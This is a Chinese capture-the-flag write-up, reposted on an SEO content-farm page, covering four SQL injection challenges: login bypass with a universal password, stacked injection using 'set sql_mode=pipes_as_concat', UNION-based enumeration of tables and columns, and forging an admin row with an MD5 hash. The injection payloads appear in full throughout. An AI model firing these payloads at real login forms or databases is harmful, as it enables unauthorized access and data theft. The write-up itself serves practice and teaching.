当前位置: 首页 > news >正文

网站做压测域名优化在线

网站做压测,域名优化在线,网站上文章分享的代码怎么做的,西安seo外包服务[极客大挑战 2019]EasySQL 进行简单的尝试,就知道是单引号的字符型注入 万能密码进行一个简单的尝试 结果就出来了 还是要了解一下原理 输入的是1,形成的sql语句是错误的SELECT*FROM table_name WHERE username1and password123; 第一个单引号和第二个…

[极客大挑战 2019]EasySQL

进行简单的尝试,就知道是单引号的字符型注入

 万能密码进行一个简单的尝试

结果就出来了

还是要了解一下原理

输入的是1',形成的sql语句是错误的
SELECT*FROM table_name WHERE username='1''and password='123';
第一个单引号和第二个单引号形成了新的闭合,剩余第三个单引号,组成的sql语句不正确,于是语句报错,页面就会出现错误。

[SUCTF 2019]EasySQL

当我们输入非零数字的时候,页面上有回显,用0也是什么都没有,字母也是什么都没有

我们就直接尝试一下命令

1;show databases;

1;show tables;  发现一个表为flag

 猜答案应该就会在flag表中,那么就可以查一下看看

1;show columns from Flag   (1;show columns from用来查询表中列名称)

没有回显,应该是flag也是被过滤了,想了一下,其实在查询的数据库的时候就应该要发现是堆叠注入,自己对堆叠注入还是不了解,刚刚没有看出来。

修改sql_mode的值,将||视为字符串的连接操作符而或非运算符,即set sql_mode=PIPES_AS_CONCAT;

也就是堆叠注入下可以改变sql的||符号的作用,就让||实现连接的功能

|| 变成类似 concat() 函数

看看后台的查询语句

$sql = "select ".$post['query']."||flag from Flag";

区别

在MySQL中,操作符||表示“或”逻辑     也就是只要有一个为真就可以为真了。

mssql中||表示连接操作符,不表示或的逻辑

union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,例如查库,表之类的,而堆叠注入可以执行的是任意的语句,将多条语句进行执行,;代表一条语句的结束。

payload

1;set sql_mode=pipes_as_concat;select 1

非预期

尝试之后就会发现没有过滤*

payload: *,1
查询flag
拼接之后的语句为
select *,1 || flag from flag

先查找全部,再去查找1

最后也是可以拿到结果的

[极客大挑战 2019]LoveSQL

尝试一下万能密码

 看看回显位置

1' union select 1,2,3#

发现是在2和3 回显

字段

1'order by 4#

只有三个字段

数据库

1' union select 1,database(),version()#

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 发现有二张表

geekuser
l0ve1ysq1

先看第一个

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

下一个也是一样的

也是先读取第一张表的内容

1' union select 1,2,group_concat(id,username,password) from geekuser#

 

 下一张表的内容

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

 

 发现这一张表的内容有许多,在后面就会发现答案。

[GXYCTF2019]BabySQli

 看看源代码

 base32后base64

base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号

 到这里就暂时没有思路了

先看看列数

1' order by 1,2,3#

是不是被过滤了,大写看看

 就知道有三列,并且还过滤了order

回显位置

1' union select 1,2,3#

 利用sqli的特性:在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

eg

select * from user where username = 'wxs' union select 1,'admin','123456';

 临时创建了一个admin用户,密码是123456

那就可以随便构建一个密码

123456

MD5  e10adc3949ba59abbe56e057f20f883e

payload

1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

 

 数据库会将123456的MD5值与里面的相比较,如果匹配成功,就会返回flag

http://www.yayakq.cn/news/809099/

相关文章:

  • 如何利用淘宝建设网站挣钱企业如何在网站上做宣传
  • 网站制作建设公司wordpress网站工具栏
  • 眉山营销型网站建设安全培训网站
  • 自己建设个小网站要什么手续费做神马网站优
  • 建设网站前的市场分析主要包括哪些内容营销型网站建设的原则
  • 兵团第二师建设环保局网站一个好的网站应该具有什么条件
  • 专业网站设计制合肥作网站目录文件查看
  • 大学生做网站赚钱流程做网站开发 用的最多的语言
  • 网站建设样板贷款网站开发
  • 自己做的网站如何包装建筑公司企业愿景
  • 中国移动网站备案管理系统不能用专业网站制作团队专业网站制作团队
  • 什么网站做的比较好建立自我
  • 企业网站建设费用预算wordpress 鼠标
  • 有网站有安全狗进不去了海南省住房和城乡建设官方网站
  • 做教育网站需要规划哪些内容申请百度账号注册
  • 搭建企业网站宽带多大合肥网站开发cnfg
  • 目录做排名 网站电商型网站是否是趋势
  • 什么网站可以做推广的百度搜索排名购买
  • 怎样在文章后做网站链接学校ui设计培训
  • php做网站怎么健免费网站吗
  • 农村网站建设补助开一家网络公司做网站前景如何
  • 广州魔站建站网架加工费多少钱一吨
  • 网站代理维护百度网盘网页版
  • 自建商城网站用什么技术好做网站的公司都缴什么税金
  • 怎么在阿里云建网站深圳宝安大型网站建设
  • 网站开发笔试题网站建设做的快
  • 高校里做网站的工作广告设计毕业设计
  • 自适应网站优点缺点门户网站怎样做
  • 2017网站趋势移动端优化
  • 男男做暧暧视频网站网站开发设计选题背景